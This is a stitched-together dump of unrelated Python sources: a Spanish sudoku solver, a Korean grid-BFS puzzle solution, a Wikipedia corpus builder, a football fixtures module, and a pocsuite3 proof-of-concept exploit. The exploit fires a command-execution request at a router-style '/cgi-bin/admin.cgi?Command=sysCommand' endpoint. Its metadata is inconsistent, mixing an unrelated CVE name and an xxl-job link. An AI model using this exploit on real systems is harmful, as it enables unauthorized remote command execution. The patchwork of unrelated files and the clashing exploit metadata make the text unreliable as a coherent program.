                    ------------------

                    """
                    if nvuelta == 0 and len(aVar[i][j]) == 0:
                        print (aFil[i])
                        print(aCol[j])
                        print(aInt[nInt])
                        alert('SUDOKU Irresoluble: '+'Casilla:'+str(i)+','+str(j))
                        presenta(aVar)
                        sys.exit(0)

                    # tengo dudas que entre por aquí poner checks
                    if len(aVar[i][j]) == 0:
                        alert("Creo que nuncaca saldrá este msg.")
                        return False

                    # Hemos encontrado solo 1 es portanto la solucion de esa casilla
                    if len(aVar[i][j]) == 1:
                        print("1º Estrategia" )
                        print("Fil.",i,"Col.",j,"  Valor",aVar[i][j])
                        alert()
                        # Hallada solución de casilla repercutir en las listas que mantienen los
                        # encontrados por fila, columna, cuadrado, añadiendo el hallado
                        ele_comp(aVar[i][j],i,j,nInt,aFil,aCol,aInt)

                        # volvemos a iniciar el ciclo

                        lsigue = True
        #check
        #print(lsigue)
        #presenta(aVar)

    return True

#************************
def est_Cmp(aVar,aTmp,aFil,aCol,aInt):
#************************
    """
    Que valor es unico en '123456789' de la suma de los no hallados
    Ejemplo: Estado dada la fila 1->   1267|127  |3   |1245  |8   |245   |9   |1245|257
    las casillas [1,3]:='3' [1,5]:='8' [1,7]:='9' no estaria en aTmp al tener un solo valor
    el resto si con indicacion de fila y columna
    de un vistazo vemos que el 6 de la casilla [1,1]:='1267' no se repite en ninguna mas
    lo que nos indica que hemos hallado el valor de esa casilla aVar[1,1]:='6'

    Argumentos:
    aVar -> matriz de nSDK x nSDK
    aTmp -> Lista que recoge por elemento otra lista de la forma [posicion fila, posicion columna, cadena de caracteres]
    aFil -> lista de cadena de caractres de la Fila
    aCol -> lista de cadena de caractres de la Columa
    aInt -> lista de cadena de caractres del Cuadro

    Devuelve:
    False -> si no encontramos ninguno
    True  -> si encontramos uno
    """

    cSum = ""

    # Check
    """
    for kk in aTmp:
        if len(aTmp[2]) == 1:
            print("aTmp:",aTmp)
            alert()
    """

    for i in aTmp:
        cSum += i[2]

    for i in cSDK:

        if cSum.count(i) == 1: # he encontrado uno, es el valido
            # a que elemento de la lista corresponde
            for j in aTmp:
                if i in j[2]:
                    # check
                    print("2º Estrategia" )
                    print("Fil.",j[0],"Col.",j[1],"  Valor",i)
                    alert()

                    aVar[j[0]][j[1]] = i
                    return True

    return False

#************************
def Bucle2(aVar,aFil,aCol,aInt):
#************************
    """
    Esta funcion tratara de buscar los elementos que faltan en el sudoku de la siguiente manera:
    Se basa en un estudio de filas, columnas o cuadros, establecer, por ejemplo para una columna cuantas  casillas estan sin resolver y
    cuales son sus posibles valores, si de la suma de todos ellos hay alguno que sólo se repita una vez ese valor es el único posible.
    Ejemplo:
    casilla[1,4]:='3456' valores posibles
    casilla[6,4]:='36'   valores posibles
    casilla[9,4]:='34'   valores posibles
    El valor de la casilla[1,4] es el 5.

    Argumentos:
    Se pasan las cuatro listas (aVar,aFil,aCol,aInt) por referencia.

    Devuelve:
    False -> si no encontramos ninguno
    True  -> si encontramos uno
    """

    #Estudio de FILAS
    for i in range(0,nSDK):
        aTmp = []
        for j in range(0,nSDK):
            if len(aVar[i][j]) > 1 :
                aTmp.append([i,j,aVar[i][j]] )
                #print(aTmp)
                #alert()

        #print(aTmp)
        #alert()
        if len(aTmp) > 1 and est_Cmp(aVar,aTmp,aFil,aCol,aInt):
            return True

    #Estudio de COLUMNAS
    for i in range(0,nSDK):
        aTmp = []
        for j in range(0,nSDK):
            if len(aVar[j][i]) > 1 :
                aTmp.append([j,i,aVar[j][i]])

        if len(aTmp) > 1 and est_Cmp(aVar,aTmp,aFil,aCol,aInt):
            return True

    # Estudio de cuadros
    for i in range(0,nSDK):

        nFil = (int(i/nRSDK)*nRSDK) - 1
        aTmp = []
        for j in range(0,nRSDK):
            nFil += 1
            nCol = ((i%nRSDK)*nRSDK) -1

            for k in range(0,nRSDK):
                nCol +=1
                if len(aVar[nFil][nCol]) > 1:
                    aTmp.append([nFil,nCol,aVar[nFil][nCol]])

        if len(aTmp) > 1 and est_Cmp(aVar,aTmp,aFil,aCol,aInt):
            return True

    return False

#************************
def situacion(aVar):
#************************
    """
    Esta funcion devolvera una Lista de los elementos no conseguidos con el siguiente formato:
    [Fila,Columna,Nº de candidatos ]

    Argumentos:
    aVar -> matriz de nSDK x nSDK

    Devuelve una lista

    """
    aTmp = []
    for i in range(0,nSDK):
        for j in range(0,nSDK):
            if len(aVar[i][j]) > 1 :
                aTmp.append([i,j,len(aVar[i][j])])

    return aTmp

#*************************
#*************************
# MODULO DE RESOLUCION
#*************************
#*************************
"""
***************************************
Variables CRITICAS . Sus contenidos
***************************************
aVar ->  Lista de 9x9 los valores de las casillas, todas en formato de Char
         contendran por casilla: la soluciones (una) o las posibles soluciones (varias)
         ejemplo aVar[3,4]->'6' solucion valida al ser única
         otro  aVar[5,6]->'2457' los posibles candidatos a ser la solucion de la casilla

aFil -> Lista de filas, contiene para cada fila una cadena con las casillas halladas en la fila (solucion unica)

aCol -> Lista de las columnas, contiene cada columna una cadena con las casillas halladas en la columna (solucion unica)

aInt -> Lista de cuadros, cada cuadro una cadena con las casillas halladas en el cuadro (solucion unica)

aPend ->Lista de ?x3 de las casillas no conseguidas (?) todas en formato Num
        [Fila, Columna, Número de valores posibles]
        Ejemplo: si aPend[6]->[5,6,4]
        aPend[6,1] -> 5ª fila
        aPend[6,2]-> 6ª columna
        aPend[6,3]-> tiene 4 valores posibles

aBruta ->   array de ?x3 con el siguiente contenido {aVar,aPend,contador} como vemos
            contiene 2 arrays ya comentados y un contador.
"""

# Variables indicativas del Sudoku (en siguientes versiones se pasaran atraves de un archivo de configuaracion <sdk.ini>)
cSDK = "123456789"
nSDK = len(cSDK)
nRSDK = int(nSDK**(1/2)) # raiz cuadrada

# Creacion de la matriz de elementos vacios del sudoku a resolver
aVar = [[""] * nSDK for i in range(nSDK)]

# matriz de filas
aFil = [""] * nSDK
# matriz de columnas
aCol = [""] * nSDK
# matriz de cuadro
aInt = [""] * nSDK

# apertura del fichero de donde recogeremos el sudoku a resolver por defecto  < sdk >
try:
    f_in = open("sdk", mode="r", encoding="utf-8")

except:
    alert("No puedo abrir el fichero de carga del sudoku")
    sys.exit(0)

cbuff=f_in.read()
f_in.close()

# Carga del sudoku a resolver leyendo nSDK*nSDK caracteres VALIDOS (definidos en la variable: cSDK)
"""
Es interesante saber como podemos pasarle el sudoku a resolver, ejemplos:

1º Aspecto visual conocido:
 | | | |2| | |1| |
9| | | | |7| | | |
3| | |5| | | | | |
------------------
 |3| |2| | | | |9|
 | | |7|6|1|4| |2|
 | | | |9|5| | | |
------------------
4| |5| | |6|7|9| |
 | | | | | |1|4| |
8|1| |4|5| | | | |
------------------

2º Como una sola fila
      5     35 2    61   9   743   23    1 8665  2  17 61           2  9 4

3º Otra forma
1    7 9
 3  2   8
  96  5
  53  9
 1  8   2
6    4
3      1
 4      7
  7   3

La carga solo entiende la cadena de numerica: 123456789 y el caracter " " como casilla a resolver,
por tanto tratara de leer tantos caracteres validos como casillas tenga el sudoku. 81 en el caso de un sudoku de 9x9,
asi que podemos pasar el sudoku a resolver como mas nos apetezca conocida como es la lectura.
"""

m=0
for i in range(0,nSDK):

    for j in range(0,nSDK):

        # extraer verificando contenido
        while True:
            ctmp = cbuff[m:m+1]

            if ctmp in (" "+cSDK) or len(ctmp)==0:
                break
            else:
                m +=1
                continue  #loop

        m +=1

        aVar[i][j]= "" if ctmp==" " else ctmp

# vacio cbuff
cbuff = ""

print("PRESENTACION del sudoku cargado para resolver")
presenta(aVar)

#*************************
# Verificacion de la congruencia del sudoku
# Que no se ha cargado algun elemento repetido tanto por fila / columna / cuadro
#*************************
# POR FILA
for i in range(0,nSDK):
    cTmp = ""
    for j in range(0,nSDK):
        cTmp += aVar[i][j]

    if ini_congruen(cTmp):
        alert("Fila:"+str(i)+" No congruente")
        sys.exit(0)

# POR COLUMNA
for i in range(0,nSDK):
    cTmp = ""
    for j in range(0,nSDK):
        cTmp += aVar[j][i]

    if ini_congruen(cTmp):
        alert("Columna:"+str(i)+" No congruente")
        sys.exit(0)

# POR CUADRO
"""
OJO no olvidar, estamos en python y nuestros recorridos empiezan en 0 para que no le sorprenda lo siguiente, solo indica orden:
Para el recorrido de cuadros se establece el siguiente órden (izquierda a derecha y de arriba abajo)
 1 2 3
 4 5 6
 7 8 9
 ------
 Dentro de cada cuadrado el recorrido es igual (izquierda a derecha y de arriba abajo)
 Caso cuadrado nº 6 el recorrido de sus casillas sería coordenadas: filas (4,5,6) y columnas (7,8,9)
 las siguentes coordenadas
  4,7 | 4,8 | 4,9
  5,7 | 5,8 | 5,9
  6,7 | 6,8 | 6,9
"""
for i in range(0,nSDK):
    cTmp = ""
    nFil = (int(i/nRSDK)*nRSDK) - 1

    for j in range(0,nRSDK):
        nFil += 1
        nCol = ((i%nRSDK)*nRSDK) -1

        for k in range(0,nRSDK):
            nCol +=1
            # Activese las siguientes lineas si tiene interes en observar como se va construyendo.
            # print("Fila:", nFil,"Col:",nCol)
            # alert()
            cTmp += aVar[nFil][nCol]

    if ini_congruen(cTmp):
        alert("Cuadro:"+str(i)+" No congruente")
        sys.exit(0)

#*************************
# INICIO PROCESO DE RESOLUCION
# OJO entramos en un Bucle infinito
#*************************
nvuelta = 0
check = 0
while True:

    # el objetivo es agrupar las casillas resueltas por fila columa y cuadrado.
    ini_comp(aVar,aFil,aCol,aInt)

    # Control
    print("Estado del sudoku al inicio de su resolucion y su evolucion. Vemos casillas resueltas y candidatos de las no resueltas.")
    presenta(aVar)

    """
    if check ==1 :
        presenta(aVar)
        print("Fil",aFil)
        alert()
        print("Col",aCol)
        alert()
        print("Cuad",aInt)
        alert()
    """

    # Variable de control, para pasar a 2º estrategia si no encontramos mas elementos con la estrategia 1º
    lsal = True

    #***********************
    # Estrategia SIMPLE **

    lsal = Bucle1(aVar,aFil,aCol,aInt,nvuelta)

    # Si no hallamos mas elementos en las casillas la variable lsal:=.T.
    # Para ir a la siguiente estrategia

    # FIN estrategia SIMPLE
    #***********************

    #***************************************************
    # Estrategia SOLO PUDE SER ESE, poque es el unico **

    if lsal:

        if Bucle2(aVar,aFil,aCol,aInt):
            check += 1
            #print(check)
            #alert()
            continue

    # FIN estrategia SOLO PUDE SER ESE, poque es el unico **
    #*******************************************************

    #Estado de situación
    if lsal:
        aPend = situacion(aVar)

    # Si entramos en el if siguiente, hemos finalizado, si entramos en else a la siguiente estrategia (FUERZA BRUTA)
    if lsal and len(aPend) == 0:
        alert('¡¡¡¡ RESUELTO !!!!!')
        presenta(aVar)
        break

    else:
        alert('No conseguido. Siguiente paso fuerza BRUTA')
        presenta(aVar)
        break

"""
    **********************************
    ****** Estado de SITUACION *******
    **********************************

    IF lsal
       aPend:=situacion(aVar)
    ENDIF

    ***** FIN Estado de SITUACION *******

    ******************************************
    ****** Verificacion de CONGRUENCIA *******
    ******************************************

    *********************
    ***** No hace falta verificacacion de congruencia **********
    *********************

    **********************************
    ****** Carga de SOLUCIONES *******
    *******aVar,aFil,aCol,aInt***************************
    IF lsal .AND. LEN(aPend)=0  // no existen elementos pendientes
       // conseguido
       // alert('Conseguido y Congruente')

       // distintas soluciones
       IF lPreSol
          alert('¡¡¡¡ AHI VA !!!!!')
          Scroll()
          presenta(aVar)
       ENDIF

       // carga en fichero de salida
       writeSol(nManiOut,aVar)

       // cuantas soluciones tiene
       ++nSol

       /*
       // presentacion en pantalla de como va consiguiendo soluciones
       @18,05 SAY 'Solución:' + STR(nSol)
       */

       // check
       IF nSol=nNumSol  // nº maximo de soluciones que quiero que me de
          EXIT
       ENDIF

       IF nVuelta = 0
          EXIT  //salida del DO WHILE no hay mas soluciones
       ELSE

          // Punto de Control Particular
          // alert("vuelta:"+ str(nVuelta))

          // seguir siguientes soluciones en Fuerza Bruta
          lsal:= .F.
       ENDIF

    ENDIF

"""


"""
10:05 시작

"""

import sys
import copy
from collections import deque

def func():
    N, L, R = map(int, sys.stdin.readline().split())
    land = []

    for i in range(N):
        land.append(list(map(int, sys.stdin.readline().split())))

    if N == 1:
        return 0

    time = 0

    while time < 2000:  # 2000일 이상은 주어지지 않음
        time += 1

        visited = [[False for i in range(N)] for j in range(N)]  # BFS로 인구 이동이 일어나는 곳을 체크하기 위함

        tmp_lands = copy.deepcopy(land)
        lands_cnt = 0  # 인구 이동에 포함된 나라의 수

        plus_x = [1, -1, 0, 0]
        plus_y = [0, 0, 1, -1]

        for i in range(N):  # 인구 이동을 할 나라가 있는지 탐색
            for j in range(N):
                if visited[i][j]: continue

                # BFS로 열려 있는 국경선끼리 인구 공유

                lands_cnt += 1

                people_sum = land[i][j]  # 국경선이 인접한 나라의 인구의 합
                country_num = 1  # 국경선이 인접한 나라의 개수
                countries = [(i, j)]

                dq = deque()
                dq.append((i, j))
                visited[i][j] = True

                # BFS를 하며 인접한 국가 탐색
                while dq:
                    tup = dq.popleft()
                    y = tup[0]
                    x = tup[1]

                    for k in range(4):
                        nx = x + plus_x[k]
                        ny = y + plus_y[k]

                        if 0 <= nx < N and 0 <= ny < N and not visited[ny][nx] and L <= abs(land[y][x] - land[ny][nx]) <= R:
                            visited[ny][nx] = True
                            dq.append((ny, nx))

                            people_sum += land[ny][nx]
                            country_num += 1
                            countries.append((ny, nx))

                if len(countries) == N * N:  # 모든 나라를 방문할 수 있는 경우
                    return time

                for country in countries:  # 나라 인구의 합의 평균 값을 대입
                    tmp_lands[country[0]][country[1]] = people_sum // country_num

        if lands_cnt == N * N:  # 모든 나라가 인접하지 않은 경우
            return time - 1

        land = copy.deepcopy(tmp_lands)

    if time >= 2001:
        return 0

print(func())


import wikipedia
import numpy as np
import re
import nltk
from nltk.stem import WordNetLemmatizer
import matplotlib.pyplot as plt
import random as rd
import collections
import nltk.data
import nltk
from nltk.tokenize import word_tokenize, sent_tokenize
import random
import pandas as pd
import gensim
from gensim import corpora, models
import math
import os

nltk.download('stopwords')

from nltk.corpus import stopwords

stopwords = stopwords.words('english')

from string import punctuation

punctuation = list(punctuation)

stemmer = WordNetLemmatizer()

# Data cleaning function
def clean(ss):

     newdoc = []
     alllens = []
     topn = []

     ds = re.sub(r'\W', ' ', str(ss))

     ds = re.sub(r'\s+[a-zA-Z]\s+', ' ', ds)

     ds = re.sub(r'\^[a-zA-Z]\s+', ' ', ds)

     ds = re.sub(r'\s+', ' ', ds, flags=re.I)

     ds = re.sub(r'^b\s+', '', ds)

     ds = ds.lower()

     tokens = ds.split()
     tokens = [stemmer.lemmatize(word) for word in tokens]
     tokens = [token for token in tokens if token not in stopwords and token not in punctuation]
     tokens = [word for word in tokens if len(word)  > 4]

     st = ' '.join(tokens)

     wordcount = collections.Counter(tokens)

     ts.append(tokens)
     alllens.append(len(tokens))
     newdoc.append(st)

     if st != '':
         topn.append(tn+1)

     return ds, wordcount, ts, alllens, newdoc, topn, tokens

# 39 topics
topics = ['Academic disciplines', 'Business', 'Communication', 'Concepts', 'Culture', 'Economy', 'Education', 'Energy',
'Engineering', 'Entertainment', 'Entities', 'Ethics', 'Food and drink', 'Geography', 'Government', 'Health',
'History', 'Human behavior', 'Humanities', 'Information', 'Internet', 'Knowledge', 'Language', 'Law', 'Life',
'Mass media', 'Mathematics', 'Military', 'Nature', 'People', 'Philosophy', 'Politics', 'Religion', 'Science',
'Society', 'Sports', 'Technology', 'Time', 'Universe']

ts = []

tn = 0

cs = []

for l in topics:

    tn = tn+1

    tops = wikipedia.search(l, results=50) # Take first 50 results

    for i in tops:

        try:
            bti = wikipedia.page(i, auto_suggest=False).content
        except wikipedia.DisambiguationError as e:
            s = e.options[1]
            try:
                bti = wikipedia.page(s, auto_suggest=False).content
            except wikipedia.DisambiguationError as e2:
                    s2 = e2.options[1]
                    #s2 = random.choice(e2.options) # Cause of the differing lengths
                    bti = wikipedia.page(s2, auto_suggest=False).content
            except wikipedia.PageError:
                continue

        document = bti
        test = nltk.sent_tokenize(document)

        stemmer = WordNetLemmatizer()

        ci = ' '.join(test[0:5]) # Change depending on how many sentences
        ci = clean(ci)[4][0]
        cs.append(ci)

# Some statistics for the data
cssplit = [d.split() for d in cs]
cslen = [len(i) for i in cssplit]
csmean = np.mean(cslen)
plt.hist(cslen)
np.percentile(cslen,75)
lamml = [min(cslen), max(cslen), np.mean(cslen), np.std(cslen)]

cs = [' '.join(i) for i in cs]

# Creating corpus
os.chdir('/Users/keeganstlegerdenny/Documents/Postgraduate/ResearchReport/Code/CreateCorp2')
with open('LargeCor4.txt', 'a') as f: # Change name if new corpus
    for line in cs:
        f.write(line)
        f.write('\n')


from pocsuite3.api import (
    Output,
    POCBase,
    POC_CATEGORY,
    register_poc,
    requests,
    VUL_TYPE,
)

class KoreaRce(POCBase):
    vulID = "77777"  # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
    version = "1"  # 默认为1
    author = "7Seven"  # PoC作者的大名
    vulDate = "2022-7-13"  # 漏洞公开的时间,不知道就写今天
    createDate = "2022-7-13"  # 编写 PoC 的日期
    updateDate = "2022-7-13"  # PoC 更新的时间,默认和编写时间一样
    references = [""]  # 漏洞地址来源,0day不用写
    name = "cve-2020-6422 PoC"  # PoC 名称
    appPowerLink = "https://github.com/xuxueli/xxl-job"  # 漏洞厂商主页地址
    appName = "77777"  # 漏洞应用名称
    appVersion = "all"  # 漏洞影响版本
    vulType = VUL_TYPE.CODE_EXECUTION  # 漏洞类型,类型参考见 漏洞类型规范表
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    samples = [""]  # 测试样列,就是用 PoC 测试成功的网站
    install_requires = ["requests"]  # PoC 第三方模块依赖，请尽量不要使用第三方模块，必要时请参考《PoC第三方模块依赖说明》填写
    desc = """
                七七永远的神
            """  # 漏洞简要描述
    pocDesc = """
            """  # POC用法描述

    def _check(self):
        # 漏洞验证代码
        result = []
        full_url = f"{self.url}/cgi-bin/admin.cgi?Command=sysCommand&Cmd=if"
        headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
                   "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                   "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate",
                   "DNT": "1", "Connection": "close", "Cache-Control": "max-age=0"}
        try:
            response = requests.get(full_url, headers=headers)
            res1 = response.text.split("[")[2]
            res = res1.split("]")[0]
            if "<CmdResult>" in response.text:
                print(f"[+]{self.url}的结果为\n{res}")
                result.append(self.url)
        except Exception:
            print(f"[-]{self.url}请求失败")
        finally:
            return result

    def _verify(self):
        # 验证模式 , 调用检查代码 ,
        result = {}
        res = self._check()  # res就是返回的结果列表
        if res:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['Info'] = self.name
            result['VerifyInfo']['vul_url'] = self.url
            result['VerifyInfo']['vul_detail'] = self.desc
        return self.parse_verify(result)

    def _attack(self):
        # 攻击模式 , 就是在调用验证模式
        return self._verify()

    def parse_verify(self, result):
        # 解析认证 , 输出
        output = Output(self)
        # 根据result的bool值判断是否有漏洞
        if result:
            output.success(result)
        else:
            output.fail('Target is not vulnerable')
        return output

# 其他自定义的可添加的功能函数
def other_fuc():
    pass

# 其他工具函数
def other_utils_func():
    pass

# 注册 DemoPOC 类 , 必须要注册
register_poc(KoreaRce)


import datetime as dt
from collections import defaultdict
from itertools import chain
import logging
from difflib import get_close_matches, SequenceMatcher

from sqlalchemy import and_

from footie_scores import settings
from footie_scores import utils
from footie_scores.utils.footie import score_from_events
from footie_scores.utils.generic import query_list_of_dicts
from footie_scores.db import queries
from footie_scores.db.schema import Competition, Fixture

logger = logging.getLogger(__name__)
TIME_OVERRIDE = settings.OVERRIDE_TIME or settings.OVERRIDE_DAY

def get_fixture_by_id(session, id_):
    fixture = queries.get_fixture_by_id(session, id_)
    fixture = filter_fixture_with_override_time(fixture)
    return fixture

def get_comp_grouped_fixtures(
        session, start_date, comp_ids=settings.COMPS, end_date=None):

    grouped_fixtures = []
    for id_ in comp_ids:
        competition = queries.get_competition_by_id(session, id_)
        fixtures = queries.get_fixtures_by_date_and_comp(session, start_date, id_, end_date)
        fixtures = filter_fixtures_with_override_time(fixtures)
        grouped_fixtures.append({'name': competition.name,
                                 'fixtures': fixtures})
    return grouped_fixtures

def get_date_grouped_fixtures(
        session, start_date, comp_ids, end_date=None):

    grouped_fixtures = []
    date_keyed_dict = defaultdict(list)

    fixtures = get_fixtures_by_dates_and_comps(session, start_date, comp_ids, end_date)
    fixtures = filter_fixtures_with_override_time(fixtures)
    for fixture in fixtures:
        date_keyed_dict[fixture.date].append(fixture)
    date_sorted_keys = sorted(list(date_keyed_dict.keys()))

    for date in date_sorted_keys:
        fixtures = date_keyed_dict[date]
        web_format_time = utils.time.custom_strftime(settings.WEB_DATEFORMAT, date)
        grouped_fixtures.append({'name': web_format_time,
                                 'fixtures': fixtures})

    return grouped_fixtures

def get_fixtures_by_dates_and_comps(
        session, start_date, comp_ids, end_date=None):

    fixtures = []
    for comp_id in comp_ids:
        fixtures.append(queries.get_fixtures_by_date_and_comp(
            session, start_date, comp_id, end_date))
    fixtures = list(chain(*fixtures))
    return filter_fixtures_with_override_time(fixtures)

def get_competitions_by_id(session, ids):
    return queries.get_competitions_by_id(session, ids)

def get_competition_by_id(session, id_):
    return queries.get_competition_by_id(session, id_)

def filter_fixtures_with_override_time(fixtures):
    return [filter_fixture_with_override_time(f) for f in fixtures]

def filter_fixture_with_override_time(fixture):
    if TIME_OVERRIDE:
        f = fixture
        fixture_ko = dt.datetime.combine(f.date, f.time)
        minutes_elapsed = (utils.time.now() - fixture_ko).total_seconds() / 60
        gametime_elapsed = minutes_elapsed - (15 if minutes_elapsed > 45 else 0)
        time_filtered_events = {'home': [], 'away': []}

        if gametime_elapsed < 0:
            f.override_score = f.time.strftime(settings.DB_TIMEFORMAT)
            f.override_events = time_filtered_events
            f.override_status = ' '
        else:
            for team in ('home', 'away'):
                for event in f.events[team]:
                    if gametime_elapsed >= event['minutes_since_ko']:
                        time_filtered_events[team].append(event)
                    else:
                        logger.info('%s vs %s: %s at %s filtered, override game time: %s',
                                    f.team_home, f.team_away,
                                    event['type'], event['time'], gametime_elapsed)

            if time_filtered_events != f.events or gametime_elapsed < 115:
                f.override_events = time_filtered_events
                f.override_score = score_from_events(f.override_events)

                # TODO this is unreliable, e.g. delayed games or games with ET
                f.override_status = int(gametime_elapsed) if gametime_elapsed <= 115 else 'FT'
                logger.info('%s vs %s: override score: %s, status: %s',
                            f.team_home, f.team_away, f.override_score, f.override_status)
        return fixture
    return fixture

def determine_substitutions(lineups, events):
    sides = ('home', 'away')
    for side in sides:
        lineup = getattr(lineups, side)
        subs = getattr(lineups, side+'_subs')
        if not subs:
            subs = []
        sub_events = [e for e in events[side] if e['type'] == 'subst']
        for player in lineup:
            sub_event = query_list_of_dicts(
                sub_events,
                lookups=[('assist_id', player['id'], None),
                         ('assist', player['name'], None),
                         ('assist', player['name'], lambda x: x.lower().split()[-1]),
                         ('assist', player['name'], lambda x: x.lower().replace('\'', '').split()[-1]),
                ])
            if sub_event is None:
                player['subbed'] = None
            else:
                player['subbed'] = 'subbed_off'
                player['subst_event_string'] = '({}\')  \u2935'.format(sub_event['minute'])

        possible_names = [event['player'] for event in sub_events]
        for player in subs:
            sub_event = query_list_of_dicts(
                sub_events,
                lookups=[('player_id', player['id'], None),
                         ('player', player['name'], None),
                         ('player', player['name'], lambda x: x.split()[-1]),
                         ('player', player['name'], lambda x: x.lower().replace('\'', '').split()[-1]),
                         ('player', player['name'], lambda x: get_close_matches(x, possible_names, cutoff=0.4)),
                ])
            if sub_event is None:
                player['subbed'] = None
            else:
                player['subbed'] = 'subbed_on'
                player['subst_event_string'] = '({}\')  \u2934'.format(sub_event['minute'])
                sub_event_player, player = sub_event['player'], player['name']
                closeness = SequenceMatcher(None, sub_event_player, player).ratio()
                if closeness < 0.5:
                    logger.warning(
                        'Substitute {} from event paired with {} from subs list, closeness: {:.2f} which is a bit low'.format(
                        sub_event_player, player, SequenceMatcher(None, sub_event_player, player).ratio()))
        try:
            assert(len(sub_events) == len([p['subbed'] for p in lineup if p['subbed']]))
            assert(len(sub_events) == len([p['subbed'] for p in subs if p['subbed']]))
        except:
            logger.error('Number of subs not the same as number of sub events')

    return lineups